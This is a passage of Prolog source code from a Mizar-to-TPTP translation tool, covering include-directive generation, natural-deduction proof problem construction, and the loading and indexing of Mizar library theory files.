with spcNr.\nget_include_refs(Refs, IncludeRefs, NonIncludeRefs, IncludeArticles):-\n\tfindall(Ref,\n\t\t(\n\t\t  member(Ref, Refs),\n\t\t  concat_atom([H|_],'_',Ref),\n\t\t  (\n\t\t    atom_concat(spc, Nr, H) ->\n\t\t    atom_chars(Nr, NrChars),\n\t\t    checklist(digit,NrChars)\n\t\t  ;\n\t\t    atom_concat(s, Nr, H),\n\t\t    atom_chars(Nr, NrChars),\n\t\t    checklist(digit,NrChars),\n\t\t    get_ref_fof(Ref,_,_,_,[mptp_info(_,_,scheme_instance,_,_)|_])\n\t\t  )\n\t\t),\n\t\tNonIncludeRefs\n\t       ),\n\tsubtract(Refs, NonIncludeRefs, IncludeRefs),\n\tmaplist(get_ref_file, IncludeRefs, IncludeArticles1),\n\tsort(IncludeArticles1, IncludeArticles).\n\nprint_include_directive(Article):-\n\tconcat_atom(['Axioms/', Article, '.ax'], IncludeFile),\n\twriteq(include(IncludeFile)),\n\twrite('.'),\n\tnl.\n\n%% get_preceding_article_refs(+Article, +Ref, -Refs)\n%%\n%% This is a tested version used for inclusion of theorems into TPTP,\n%% which only gets refernces with proof level [] .\n%% So it cannot be used for sublemmas.\n%% ##TODO: reimplement & test using fof_toplevel/2\nget_preceding_article_refs_old(Article, Ref, Refs):-\n\tensure(article_position(Ref,Pos), throw(article_position(Article,Ref))),\n\tfindall(Ref1,\n\t\t(\n\t\t  article_position(Ref1,Pos1),\n\t\t  Pos1 < Pos,\n\t\t  fof_name(Ref1, Id),\n\t\t  clause(fof(Ref1,_,_,file(Article,_), [mptp_info(_,[],_,_,_)|_]),_,Id)\n\t\t),\n\t\tRefs\n\t       ).\n\n%% This is the new version, used for generating the .allowed_local files .\n%% It used to behaved badly for sublemmas, because of a bug in assert_level.\n%% Note that for sublemms we have to avoid the theses, that is: those that are\n%% marked as thesis, and those that are currently being proved.\nget_preceding_article_refs(Article, Ref, Refs):-\n\tensure(article_position(Ref,Pos), throw(article_position(Article,Ref))),\n\tget_ref_fof(Ref,fof(Ref,_,_,file(Article,_),[mptp_info(_,ProofLevel,_,_,_)|_])),\n\tfindall(LevAtom, (sublevel(ProofLevel,Lev), level_atom(Lev, LevAtom)), LevAtoms),\n\tfindall(Id1, (member(Lev1, LevAtoms), fof_newlevel(Lev1,Article,Id1)), BadIds),\n\tfindall(Ref0,\n\t\t(\n\t\t  fof_toplevel(Article, Id0),\n\t\t  clause(fof(Ref0,_,_,file(Article,_), [mptp_info(_,[],_,_,_)|_]),_,Id0),\n\t\t  article_position(Ref0,Pos0),\n\t\t  Pos0 < Pos,\n\t\t  not(member(Id0, BadIds))\n\t\t),\n\t\tRefs0\n\t       ),\n\tfindall(Ref1,\n\t\t(\n\t\t  member(LA1, LevAtoms),\n\t\t  fof_level(LA1, Id),\n\t\t  clause(fof(Ref1,Role1,_,file(Article,_), [mptp_info(_,_,_,_,_)|_]),_,Id),\n\t\t  article_position(Ref1,Pos1),\n\t\t  Pos1 < Pos,\n\t\t  Role1 \\= thesis,\n\t\t  not(member(Id, BadIds))\n\t\t),\n\t\tRefs1\n\t       ),\n\tunion(Refs0, Refs1, Refs).\n\n\n\n%% All standard axioms (coming from other articles than the conjecture)\n%% which were printed to include files\n%% by mml2tptp_includes/1 are omitted, and only the include\n%% directive is generated for them. The conjecture, all formulas from\n%% its article, and other special formulas not printed by mml2tptp_includes/1\n%% are printed explicitly.\nprint_refs_as_tptp_includes(Conjecture, AllRefs, Options):-\n\tdelete(AllRefs, Conjecture, ProperRefs1),\n\tensure(get_ref_file(Conjecture, Article), bad_conjecture(Conjecture)),\n\tfindall(ARef,\n\t\t(\n\t\t  member(ARef, ProperRefs1),\n\t\t  get_ref_fof(ARef,fof(ARef,_,_,file(Article,_),_))\n\t\t),\n\t\tArticleRefs\n\t       ),\n\tsubtract(ProperRefs1, ArticleRefs, NonArticleRefs),\n\tget_include_refs(NonArticleRefs, _IncludeRefs, NonIncludeRefs, _IncludeArticles0),\n\tget_preceding_article_refs(Article, Conjecture, PrecedingRefs),\n\tunion(ArticleRefs, PrecedingRefs, AllArticleRefs),\n\t(\n\t  member(opt_PP_SMALLER_INCLUDES(AllIncludes), Options) ->\n\t  get_smaller_includes(Article, AllIncludes, IncludeArticles)\n\t;\n\t  needed_environ(Article, [], IncludeArticles)\n\t),\n\tchecklist(print_include_directive, IncludeArticles),\n\tchecklist(print_ref_as_axiom(Options), NonIncludeRefs),\n\tchecklist(print_ref_as_axiom(Options), AllArticleRefs),\n\tprint_ref_as_conjecture(Options, ProperRefs1, Conjecture).\n\n\n%%%%%%%%%%%%%%%%%%% ND problem creation %%%%%%%%%%%%%%%%%%%%%%%%%\n\n%% Assumption control (these two seem sufficient):\n%% - each assumption in the inference tree is exactly once discharged\n%% - each assumption is only used in the subtree rooted at the point of its discharge\n\n%% mk_nd_tree(F,_Prefix,_Options,P)\n%%\n%% Print all prerequisities for P and then P.\n%% Prerequisities are limited to what is inside a proof of a theorem\n%% top-level lemmas are not expanded.\n%% That means:\n%% get references of P, call mk_nd_tree on them, then print P.\n%% the recursion stops for things outside of P's prooflevel,\n%% and for assumptions.\n%% This is a tree traversal, and we want to print every node only once\n%% and at the earliest position. So we proceed depth-first, keep a list\n%% of things that were requested to be printed, and a list of things\n%% that already were printed.\n\n%% now works also for top-level propositions proved by mizar_by or mizar_from\n%% (to make the article tree complete)\n%% the level is in that case forged to [0], to prevent recursion into other\n%% top-level propositions\nmk_nd_problem(P,F,Prefix,Options):-\n\t(var(P) -> fof_file(F,Id); true),\n\tclause(fof(P,Role1,Fla,file(F,P),[mptp_info(_,[],MPropKind,position(Line0,Col0),_),\n\t\t\t\t\t  inference(InfKind,InferInfo,_)|_]),_,Id),\n\t(\n\t  Role1 = theorem,\n\t  %% to avoid canceled theorems\n\t  Fla \\== $true,\n\t  %% to avoid scheme instances on top-level (s2_recdef_1__e21__pre_ff)\n\t  MPropKind \\== scheme_instance\n\t;\n\t  Role1 = lemma_conjecture),\n\t(InfKind = mizar_proof ->\n\t    member(proof_level(Lev), InferInfo)\n\t;\n\t    Lev = [0]\n\t),\n\t(\n\t  member(position(Line,Col), InferInfo) -> true\n\t;\n\t  Line = Line0,\n\t  Col = Col0\n\t),\n\t(member(opt_LINE_COL_NMS, Options) ->\n\t    concat_atom([Prefix,F,'__',Line,'_',Col],Outfile)\n\t;\n\t    concat_atom([Prefix,F,'__',P],Outfile)\n\t),\n\ttell(Outfile),\n\tformat('% Mizar ND problem: ~w,~w,~w,~w ~n', [P,F,Line,Col]),\n\tmk_nd_tree1(F,Lev,[],_,P,Assumptions,Options),\n\tensure((Assumptions == []), mk_nd_problem(nonempty_assumptions(P,Assumptions))),\n\ttold.\n\n\n%% the end of recursion\n\nmk_nd_tree(_,_,PrintedIn,PrintedIn,P,Assums,_):- memberchk([P,Assums],PrintedIn), !.\n\nmk_nd_tree(F,Lev,PrintedIn,[[P,Assums]|PrintedIn],P,Assums,Options):-\n\tget_ref_fof(P,fof(P,Role,_,file(F1,_),[ mptp_info(_Nr,Lev1,MPropKind,_,Spc)|_Info])),\n\t(\n\t  F \\= F1, Assums = [], !\n\t;\n\t  Role = assumption, Assums = [P], !\n\t;\n\t  Role = axiom, Assums = [], ! %% for henkins\n\t;\n\t  %% ###TODO: shouldn't the level of sch. insts. be changed (they do not contain consts anyway now)?\n\t  MPropKind = scheme_instance, Assums = [], ! %% hack - their Lev1 is not [] now\n\t;\n\t  strict_sublevel(Lev,Lev1), Assums = [], !\n\t;\n\t  MPropKind = constant,\n\t  Role = definition,\n\t  Spc = [EqKind, equality|_],\n\t  member(EqKind,[reconsider,takeasvar]),\n\t  Assums = [], !\n\t), !,\n\tprint_for_nd(P,axiom,[],[],Options).\n\n\nmk_nd_tree(F,Lev,PrintedIn,PrintedOut,P,Assums,Options):- mk_nd_tree1(F,Lev,PrintedIn,PrintedOut,P,Assums,Options),!.\nmk_nd_tree(F,Lev,PrintedIn,PrintedOut,P,Assums,Options):-\n\tthrow(mk_nd_tree(unhandled,F,Lev,PrintedIn,PrintedOut,P,Assums,Options)).\n\n%% renamed to have an easy start for the initial clause in mk_nd_problem,\n%% which would otherwise be caught by the second clause of mk_nd_tree\nmk_nd_tree1(F,Lev,PrintedIn,PrintedOut,P,Assums,Options):-\n\tget_ref_fof(P,fof(P,_,_,file(F,_),[mptp_info(_,_,_,_,_)\n\t\t\t\t\t  |Rest_of_info])),\n\tmember( mizar_nd( inference(NDKind,NDOpts,NDRefs)), Rest_of_info), !,\n\t(\n\t  NDKind = discharge_asm,!,\n\t  ensure( member( discharged(Discharged), NDOpts), mk_nd_tree(Rest_of_info)),\n\t  append(Discharged, NDRefs, AllRefs2),\n\t  %% if ThesExps, then prevthesis follows from (Discharged => P) & ThesExps,\n\t  %% hence it is correct to add ThesExps to the fixpoint algo\n\t  (\n\t    member( thesis_expansions(ThesExps), NDOpts),!,\n\t    get_mizar_inf_refs(F, P, AllRefs2, mizar_from, AllRefs1),\n\t    delete(AllRefs1, P, AllRefs),\n\t    subtract(NDRefs, ThesExps, PureTheses),\n\t    subtract(AllRefs, AllRefs2, AllRefs3),\n\t    append(ThesExps, AllRefs3, AllRefs4),\n\t    RefSlot = discharge(Discharged, PureTheses, AllRefs4)\n\t  ;\n\t    check_redefs(P,AllRefs2),!,\n\t    get_mizar_inf_refs(F, P, AllRefs2, mizar_from, AllRefs1),\n\t    delete(AllRefs1, P, AllRefs),\n\t    subtract(AllRefs, AllRefs2, AllRefs3),\n\t    RefSlot = discharge(Discharged, NDRefs, AllRefs3)\n\t  ;\n\t    append(Discharged,NDRefs,AllRefs),\n\t    RefSlot = discharge(Discharged, NDRefs)\n\t  )\n\t;\n\t  NDKind = take,!,\n\t  %% this takes care of the possible expansions automatically\n\t  get_mizar_inf_refs(F, P, NDRefs, mizar_from, AllRefs1),\n\t  delete(AllRefs1, P, AllRefs),\n\t  RefSlot = AllRefs,\n\t  Discharged = []\n\t;\n\t  NDKind = let,!,\n\t  %% we have to conduct additional discharging step\n\t  %% for types of the local consts, i.e. ![X:t(X)]:p(X) is justified\n\t  %% by p(c) discharged with assumption t(c) (this is the place where t(c)\n\t  %% gets discharged), and dh_c (i.e. the inference slot is:\n\t  %% infer(foo,[],[infer(discharge_asm,[discharged([t(c)])],[p(c)]),dh_c])\n\t  %% if ThesExps occur - e.g. X c= Y expanded to ![X:t(X)]:p(X) by d1,\n\t  %% then they and the bg are added to dh_c (i.e. the outer list of refs)\n\t  findall(Hax,(member(Hax,NDRefs),atom_prefix(Hax,'dh_')),Henkin_Refs),\n\t  maplist(atom_concat('dh_'),HC,Henkin_Refs),\n\t  maplist(atom_concat('dt_'),HC,Sort_Refs),\n\t  Discharged = Sort_Refs,\n\t  subtract(NDRefs, Henkin_Refs, PureTheses1),\n\t  (member( thesis_expansions(ThesExps), NDOpts) ->\n\t      get_mizar_inf_refs(F, P, NDRefs, mizar_from, AllRefs1),\n\t      delete(AllRefs1, P, AllRefs),\n\t      subtract(PureTheses1, ThesExps, PureTheses),\n\t      append(PureTheses, Sort_Refs, AvoidInOuterInf),\n\t      subtract(AllRefs, AvoidInOuterInf, OuterInfRefs),\n\t      RefSlot = let(Sort_Refs, PureTheses, OuterInfRefs)\n\t  ;\n\t      AllRefs = NDRefs,\n\t      RefSlot = let(Sort_Refs, PureTheses1, Henkin_Refs)\n\n\t  )\n\t;\n\t  member(NDKind, [conclusion, consider, iterative_eq, trivial, percases]),!,\n\t  Discharged = [],\n\t  ((member( thesis_expansions(ThesExps), NDOpts); check_redefs(P,NDRefs)) ->\n\t      get_mizar_inf_refs(F, P, NDRefs, mizar_from, AllRefs1),\n\t      delete(AllRefs1, P, AllRefs)\n\t  ;\n\t      AllRefs = NDRefs\n\t  ),\n\t  RefSlot = AllRefs\n\t),\n\tsubtract_with_asms(AllRefs, PrintedIn, NewRefs, PrintedAssums),\n\tmk_nd_tree_l(F, Lev, PrintedIn, PrintedTmp, NewRefs, NewAssums, Options),\n\tunion(PrintedAssums, NewAssums, Assums1),\n\tsubtract(Assums1, Discharged, Assums),\n\tprint_for_nd(P, NDKind, RefSlot, Assums, Options),\n\tPrintedOut = [[P, Assums] | PrintedTmp].\n\nmk_nd_tree1(F,Lev,PrintedIn,PrintedOut,P,Assums,Options):-\n\tget_ref_fof(P,fof(P,_,_,file(F,_),[mptp_info(_,_,_,_,_)\n\t\t\t\t\t  |Rest_of_info])), !,\n\tmember( inference(InfKind,_InferInfo,InfRefs), Rest_of_info),\n\tensure( member(InfKind, [mizar_by, mizar_from]), mk_nd_tree(P,InfKind)),\n\tget_mizar_inf_refs(F, P, InfRefs, InfKind, AllRefs1),\n\tdelete(AllRefs1, P, AllRefs),\n\tsubtract_with_asms(AllRefs, PrintedIn, NewRefs, PrintedAssums),\n\tmk_nd_tree_l(F,Lev,PrintedIn,PrintedTmp,NewRefs, NewAssums, Options),\n\tunion(PrintedAssums, NewAssums, Assums),\n\tprint_for_nd(P, InfKind,  AllRefs, Assums, Options),\n\tPrintedOut = [[P, Assums] | PrintedTmp].\n\n\n%% like subtract/3, but operates on lists of pairs instead,\n%% assuming that on the second place in each pair is a list (of its assumptions),\n%% and returns the union of all the subtracted guys' assumptions\nsubtract_with_asms([], _, [], []):- !.\nsubtract_with_asms([[A, AsmsA]|B], C, D, Asms) :-\n\tmemberchk([A, AsmsA], C), !,\n\tsubtract_with_asms(B, C, D, AsmsB),\n\tunion(AsmsA, AsmsB, Asms).\nsubtract_with_asms([A|B], C, [A|D], Asms) :-\n\tsubtract_with_asms(B, C, D, Asms).\n\n\nmk_nd_tree_l(_,_,PrintedIn,PrintedIn,[],[],_).\nmk_nd_tree_l(F,Lev,PrintedIn,PrintedOut,[H|T],Assums,Options):-\n\tmk_nd_tree(F,Lev,PrintedIn,PrintedTmp,H,AssumsH,Options),\n\tmk_nd_tree_l(F,Lev,PrintedTmp,PrintedOut,T,AssumsT,Options),\n\tunion(AssumsH, AssumsT, Assums).\n\n%% check if P and any of Refs have different redefinition variants\n%% of the same original symbol; if so, typing needs to be added\n%% to any reasoning involving EqFrm or EqTrm in Mizar, i.e. the ND\n%% reasonings; the stronger version would be to check if the variants\n%% are present in symbols from all formulas\ncheck_redefs(P,Refs):-\n\tmaplist(get_ref_fla, [P| Refs], [Fla|Flas1]),\n\tmaplist(collect_symbols_top, [Fla,[Flas1]], [AllFlaSyms,AllRefSyms]),\n\tlogic_syms(LogicSyms),\n\tsubtract(AllFlaSyms, LogicSyms, FlaSyms),\n\tsubtract(AllRefSyms, LogicSyms, RefSyms),\n\tfindall([Redefs,Redefd],\n\t\t(\n\t\t  member(Redefs, FlaSyms),\n\t\t  fof_redefines(Redefs,Redefd,_,_)\n\t\t),\n\t\tFlaRedefPairs),\n\tfindall([Redefs1,Redefd1],\n\t\t(\n\t\t  member(Redefs1,RefSyms),\n\t\t  fof_redefines(Redefs1,Redefd1,_,_)\n\t\t),\n\t\tRefRedefPairs),!,\n\tcheck_redefs_int(FlaRedefPairs,RefRedefPairs,FlaSyms,RefSyms).\n\n%% check_redefs_int(FlaRedefPairs,RefRedefPairs,FlaSyms,RefSyms)\ncheck_redefs_int([],[[_,Y]|_],FlaSyms,_):- member(Y, FlaSyms),!.\ncheck_redefs_int([],[_|T],FlaSyms,_):- check_redefs_int([],T,FlaSyms,_).\ncheck_redefs_int([[X,Y]|T],RefRedefPairs,FlaSyms,RefSyms):-\n\t(\n\t  member([Z,Y], RefRedefPairs),\n\t  X \\== Z,!\n\t;\n\t  member(Y, RefSyms),!\n\t;\n\t  check_redefs_int(T,RefRedefPairs,FlaSyms,RefSyms)\n\t).\n\n\n\n\nget_mizar_inf_refs(File, P, Refs, InfKind, AllRefs):-\n\tget_ref_fof(P, fof(P,_,Fla,_,[mptp_info(_,Lev,_,_,_)|_])),\n\tmaplist(get_ref_fla, Refs, Flas1),\n\tcollect_symbols_top( [Fla | Flas1], Syms1),\n\tensure(article_position(P,Pos1), throw(article_position(P))),\n\t%% ###TODO: for reconsidered type, following is enough instead of fixpoint\n\t%% AllRefs1 = [P|Refs]\n\tonce(fixpoint(File, [Pos1, Lev], InfKind, [P|Refs], [], Syms1, AllRefs)).\n\n%% compute_interest(InfKind,Lev,Intrst)\n%% now uses linear scaling\ncompute_interest(axiom,[],0.9):- !.\ncompute_interest(_,[],1):- !.\ncompute_interest(_,Lev,Intrst):- !,\n\tlength(Lev,L),\n\t%% So L=1 gets 0.8, L=2 gets 0.65,...,L=6 gets 0.05, and L>6 gets 0.02\n\tIntrst is max(0.8 - (0.15 * (L - 1)), 0.02).\n\n\n%% mk_conj_from_refs(Refs, ResultFla)\nmk_conj_from_refs([], $true).\nmk_conj_from_refs([H], ResultFla):- !, get_ref_fla(H, ResultFla).\nmk_conj_from_refs([H|T], (HFla & TFla)):- !,\n\tget_ref_fla(H, HFla),\n\tmk_conj_from_refs(T, TFla).\n\n%% mk_impl_from_refs(Antecedents, Consequents, ResultFla)\nmk_impl_from_refs(Antecedents, Consequents, (AntecFla => ConseqFla)):-\n\tmk_conj_from_refs(Antecedents, AntecFla),\n\tmk_conj_from_refs(Consequents, ConseqFla).\n\n\n%% for parsing with TPTP tools, use\n%% Options = [opt_TPTPFIX_ND_ROLE, opt_MK_TPTP_INF],\n%% for more info, use Options = []\n%% Refs are either just a list of references, or a\n%% term with top functor discharge or let (see below)\n%% for more complicated inferences\nprint_for_nd(Q,InfKind,Refs,Assums,Options):-\n\tget_ref_fof(Q, fof(Q,Q_1,Q2,Q3,Q4)),\n\tQ4 = [mptp_info(_,Lev,_,_,MpInfoRest)|_],\n\tcompute_interest(InfKind,Lev,Intrst),\n\t(\n\t  (Q_1 == lemma_conjecture; Q_1 == thesis),!,\n\t  Q1 = plain\n\t;\n\t  %% fix the old lemma-derived format\n\t  %% ###TODO: regenerate the constructor files, then remove this\n\t  %%          it is dangerous, and relies on having lemma-derived only in constr. files\n\t  (Q_1 == sort; Q_1 == lemma-derived),!,\n\t  Q1 = axiom\n\t;\n\t  Q_1 == axiom, MpInfoRest = [_,henkin_axiom|_],!,\n\t  %% this is not totally correct, the def is only partial\n\t  Q1 = definition %% plain\n\n\t%% these are defs I think, so just remove the commented code after a while\n% \t;\n% \t  Q_1 == definition,\n% \t  MpInfoRest = [EqKind, equality|_],\n% \t  member(EqKind,[reconsider,takeasvar]),!,\n% \t  Q1 = plain\n\t;\n\t    Q1 = Q_1\n\t),\n\tsort_transform_top(Q2,SR2),\n\tnumbervars(SR2,0,_),\n\t(member( opt_MK_TPTP_INF, Options) ->\n\t    UI0 = [Q3]\n\t;\n\t    UI0 = Q4\n\t),\n\t%% ###TODO: when the TPTP (and IDV) parser does not\n\t%%          complain about empty list of parents,\n\t%%          remove the triviality check\n\tStatus = status(thm),\n\t(\n\t  Q1 = assumption,!,\n\t  S1 = introduced(assumption,[Q3]),\n\t  UI1 = [InfKind|UI0]\n\t;\n\t  InfKind = axiom,!,\n\t  (\n\t    (\n\t      MpInfoRest = [_,henkin_axiom|_],!\n\t    ;\n\t      MpInfoRest = [EqKind, equality|_],\n\t      member(EqKind,[reconsider,takeasvar])\n\t    ),!,\n\t    Q3 = file(_,NewConstSym),\n\t    S1 = introduced(definition,[new_symbol(NewConstSym),Q3])\n\t  ;\n\t    S1 = Q3\n\t  ),\n\t  UI1 = [InfKind|UI0]\n\t;\n\t  InfKind = trivial,!,\n\t  S1 = introduced(tautology,[Q3]),\n\t  UI1 = [InfKind|UI0]\n\t;\n\t    (\n\t      InfKind = discharge_asm,!,\n\t      (\n\t\tRefs = discharge(Disch, Thes),!,\n\t\tsubtract(Assums, Disch, NewAssums),\n\t\t%% Thes are the proper refs, but Geoff wants also the\n\t\t%% assumptions in the parent slot\n\t\tunion(Disch, Thes, UnionRefs),\n\t\tS1 = inference(discharge_asm,[Status, assumptions(NewAssums),\n\t\t\t\t\t      discharge_asm(discharge,Disch)],UnionRefs)\n\t      ;\n\t\tRefs = discharge(Disch, Thes, DefsAndBG),\n\t\tsubtract(Assums, Disch, NewAssums),\n\t\t%% Thes are the proper refs of the inner inference,\n\t\t%% but Geoff wants also the assumptions in the parent slot\n\t\tunion(Disch, Thes, UnionRefs),\n\t\tDischInfer = inference(discharge_asm,[Status, assumptions(NewAssums),\n\t\t\t\t\t\t      discharge_asm(discharge,Disch)],UnionRefs),\n\t\t%% have to add the article suffix - absolutize locals will not know about this\n\t\tQ3 = file(File,_),\n\t\tThes = [Thes1|_],\n\t\tconcat_atom([Thes1, '_tmp__',File], TmpName),\n\t\tmk_impl_from_refs(Disch, Thes, TmpImpl1),\n\t\tsort_transform_top(TmpImpl1,TmpImpl),\n\t\tnumbervars(TmpImpl,0,_),\n\t\tprint(fof(TmpName, plain, TmpImpl, DischInfer, [interesting(Intrst),Q])),\n\t\twrite('.'), nl,\n\t\tS1 = inference(mizar_def_expansion, [Status, assumptions(NewAssums)],\n\t\t\t       [TmpName | DefsAndBG])\n\t\t% old version with nested inferences\n%\t\tS1 = inference(mizar_def_expansion, [Status, assumptions(NewAssums)],\n%\t\t\t       [DischInfer | DefsAndBG])\n\t      )\n\t    ;\n\t      InfKind = let,!,\n\t      Refs = let(Sort_Refs, PureTheses, OuterInfRefs),\n\t      subtract(Assums, Sort_Refs, NewAssums),\n\t      %% PureTheses are the proper refs of the inner inference,\n\t      %% but Geoff wants also the assumptions in the parent slot\n\t      union(Sort_Refs, PureTheses, UnionRefs),\n\t      DischInfer = inference(discharge_asm,[Status, assumptions(NewAssums),\n\t\t\t\t\t\t    discharge_asm(discharge,Sort_Refs)],UnionRefs),\n\t      %% have to add the article suffix - absolutize locals will not know about this\n\t      Q3 = file(File,_),\n\t      PureTheses = [Thes1|_],\n\t      concat_atom([Thes1, '_tmp__',File], TmpName),\n\t      mk_impl_from_refs(Sort_Refs, PureTheses, TmpImpl1),\n\t      sort_transform_top(TmpImpl1,TmpImpl),\n\t      numbervars(TmpImpl,0,_),\n\t      print(fof(TmpName, plain, TmpImpl, DischInfer, [interesting(Intrst),Q])),\n\t      write('.'), nl,\n\t      S1 = inference(let, [Status, assumptions(NewAssums)],\n\t\t\t     [TmpName | OuterInfRefs])\n%\t      S1 = inference(let,[Status, assumptions(NewAssums)], [DischInfer|OuterInfRefs])\n\t    ;\n\t      S1 = inference(InfKind,[Status, assumptions(Assums)],Refs)\n\t    ),\n\t    UI1 = [Q3,UI0]\n\t),\n\n\t(member( opt_TPTPFIX_ND_ROLE, Options) ->\n\t    %% ###TODO: when the TPTP (and IDV) parser does not\n\t    %%          complain about empty list of parents, or when\n\t    %%          AGint is fixed to consider plain as axiom,\n\t    %%          remove the triviality check\n\t    ((InfKind = axiom; InfKind = trivial) ->\n%\t\t(Q1= assumption -> Role = Q1; Role = axiom)\n\t\tRole = axiom\n\t    ;\n\t\tRole = plain\n\t    ),\n\t    UI = [Q1 | UI1]\n\t;\n\t    Role = Q1,\n\t    UI = UI1\n\t),!,\n\t(member( opt_ADD_INTEREST, Options) ->\n\t    NewUI = [interesting(Intrst) | UI]\n\t;\n\t    NewUI = UI\n\t),\n\tprint(fof(Q,Role,SR2,S1,NewUI)),\n\twrite('.'), nl.\n\nprint_for_nd(Q,InfKind,Refs,Assums,Options):- throw(print_for_nd(Q,InfKind,Refs,Assums,Options)).\n\n%%%%%%%%%%%%%%%%%%%% MML loading and indexing %%%%%%%%%%%%%%%%%%%%\n\n%% allowed file extensions for theory files\ntheory_exts([dcl,dco,evl,sch,the,lem,zrt]).\n\n%% Kind must be in theory_exts\nload_theory_files(Kind):-\n\tatom(Kind),\n\ttheory_exts(Exts),\n\tmember(Kind, Exts),\n\tmml_dir_atom(MMLDir),\n\tconcat_atom([MMLDir, '*.', Kind, '2'], Anames),\n\tstring_to_atom(WildCard, Anames),\n\texpand_file_name(WildCard, Names),\n\tload_files(Names,[silent(true)]).\n\n%% get_absolute_path_for(+Kind, +MMLDir, +NonMMLDir, +Article, -Path)\n%%\n%% tries with MMLDir, if not found, succeeds with NonMMLDir\nget_absolute_path_for(Kind, MMLDir, NonMMLDir, Article, Path):-\n\tconcat_atom([MMLDir, Article, '.', Kind, '2' ], MMLPath),\n\t(\n\t  exists_file(MMLPath) ->\n\t  Path = MMLPath\n\t;\n\t  concat_atom([NonMMLDir, Article, '.', Kind, '2' ], Path)\n\t).\n%% load_theory_files_for(+NonMMLDir, +Articles, +Kind)\nload_theory_files_for(NonMMLDir, Articles, Kind):-\n\tatom(Kind),\n\ttheory_exts(Exts),\n\tmember(Kind, Exts),\n\tmml_dir_atom(MMLDir),\n\tmaplist(get_absolute_path_for(Kind, MMLDir, NonMMLDir), Articles, Paths1),\n\tsublist(exists_file,Paths1,ToLoad1),\n\tload_files(ToLoad1,[silent(true)]).\n\n\nload_clusters:- load_theory_files(dcl).\nload_constructors:- load_theory_files(dco).\nload_environs:- load_theory_files(evl).\nload_schemes:- load_theory_files(sch).\nload_theorems:- load_theory_files(the).\nload_lemmas:- load_theory_files(lem).\nload_numtypes:- load_theory_files(zrt).\n\n%% do not load top-level lemmas by default;\n%% if you do, take care of their local constants and similar stuff\nload_mml:-\n\tload_clusters,load_theorems,load_schemes,\n\tload_constructors,load_environs,load_numtypes.\n\n%% load_mml_for_article(+Article, +ArticleDir, +AddedNonMML)\n%%\n%% The ArticleDir is assumed to be the location of the .evl2 file,\n%% and also the location of all nonMML articles (those in the AddedNonMML list).\nload_mml_for_article(Article, ArticleDir, AddedNonMML):-\n\tconcat_atom([ArticleDir, '/', Article, '.evl2'], EvlFile),\n\tconsult(EvlFile),\n\tensure(needed_environ(Article, AddedNonMML, Articles), needed_environ(Article)),\n\tExtensions = [dcl,dco,evl,sch,the,zrt], % lemmas not needed from others\n\tchecklist(load_theory_files_for(ArticleDir, Articles), Extensions).\n\n% should fail - load with theorems and propositions first\n%% ##NOTE: this can fail depending on wjther preprocessing stages\n%%         (scheme instances, henkin axioms, ...) have been performed\ncheck_refs:-\n\tfof(_,_,_,_,[mptp_info(_,_,_,_,_),inference(mizar_by,_,I) |_]),\n\tmember(P,I),\n\tnot(fof(P,_,_,_,_)).\n\n% should fail\ncheck_consts:-\n\tFile=abcmiz_0,\n\tfindall(L1,(fof(_,_,F,file(File,_),_),collect_symbols_top(F,L1)),L2),\n\tunion1(L2,[],L),!,\n\tmember(Const,L),\n\tatom_prefix(Const,'c'),\n\tnot(fof(_,_,_,file(File,Const),_)).\n\n%% encode and decode between [1,2,3] and '1_2_3'\nlevel_atom(List,Atom):- atom(Atom), !, concat_atom(V1,'_',Atom),\n\tmaplist(atom_number,V1,List).\nlevel_atom([H|T],Atom):- ground([H|T]),\n\tmaplist(atom_number,V1,[H|T]),\n\tconcat_atom(V1,'_',Atom).\n\n%% strip_univ_quant(+FlaIn,-StrippedFla,-UnivVars)\nstrip_univ_quant((! Vars : X ),Y,[Vars | VarsX]):- !,strip_univ_quant(X,Y,VarsX).\nstrip_univ_quant(X,X,[]).\n\n%% strip_possible_antecedent(+FlaIn,-StrippedFla)\n%%\n%% strip at most one antecedent if any exists\nstrip_possible_antecedent(( _ => B), B):- !.\nstrip_possible_antecedent(X,X).\n\n%% installs the indeces for fast lookup of fof's;\n%% should be called only after addition of custom fof's like\n%% scheme instance, e.g.:\n%% declare_mptp_predicates,assert_sch_instances(File), install_index\n%% ##NOTE: article_positions are not installed here, that is done\n%%         only once after loading a full article, since that can change\n%%         later by doing e.g. the fraenkel abstraction\ninstall_index:-\n\tabolish(fof_name/2),\n\tdynamic(fof_name/2),\n\tabolish(fof_file/2),\n\tdynamic(fof_file/2),\n\tabolish(fof_eq_def/2),\n\tdynamic(fof_eq_def/2),\n\tabolish(fof_section/2),\n\tdynamic(fof_section/2),\n\tabolish(fof_level/2),\n\tdynamic(fof_level/2),\n\tabolish(fof_newlevel/3),\n\tdynamic(fof_newlevel/3),\n\tabolish(fof_toplevel/2),\n\tdynamic(fof_toplevel/2),\n\tabolish(fof_parentlevel/2),\n\tdynamic(fof_parentlevel/2),\n\tabolish(fof_cluster/3),\n\tdynamic(fof_cluster/3),\n\tabolish(fof_identifyexp/3),\n\tdynamic(fof_identifyexp/3),\n\tabolish(rc_syms_for_consider/7),\n\tabolish(fof_req/3),\n\tdynamic(fof_req/3),\n\tabolish(sym_ref_graph/2),\n\tdynamic(sym_ref_graph/2),\n\tabolish(fof_ante_sym_cnt/4),\n\tdynamic(fof_ante_sym_cnt/4),\n\tabolish(fof_redefines/4),\n\tdynamic(fof_redefines/4),\n%\tindex(fof_name(1,1)),\n%\tadd_hidden,\n\tlogic_syms(LogicSyms),\n\trepeat,\n\t(\n\t  clause(fof(Ref1,Role1,Fla1,file(File1,Sec1), [mptp_info(_,L_1,MKind,_,Spc)|RestInfo]),_,Id),\n\t  assert(fof_name(Ref1, Id)),\n\t  assert(fof_file(File1, Id)),\n\t  assert(fof_section(Sec1, Id)),\n\t  assert_level(L_1, File1, RestInfo, Id),\n\t  assert_syms(MKind,Ref1,Role1,L_1,Fla1,File1,Id,LogicSyms,Sec1,Spc),\n\t  fail\n\t;\n\t  true\n\t),\n\tfindall(Llev1, fof_level(Llev1, _), Levs),\n\tsort(Levs, Levs1),!,\n\trepeat,\n\t(\n\t  member(Lev1,Levs1),\n\t  level_atom(L_l1,Lev1),\n\t  L_l1 = [_,_|_],\n\t  append(L2, [_], L_l1),\n\t  level_atom(L2, Lev2),\n\t  assert(fof_parentlevel(Lev2,Lev1)),\n\t  fail\n\t;\n\t  true\n\t),!.\n\n\n\nassert_level([], Article, RestInfo, Id):- !,\n\tassert(fof_toplevel(Article, Id)),\n\tassert_newlevel(RestInfo, Article, Id).\nassert_level([H|T],Article, RestInfo, Id):- 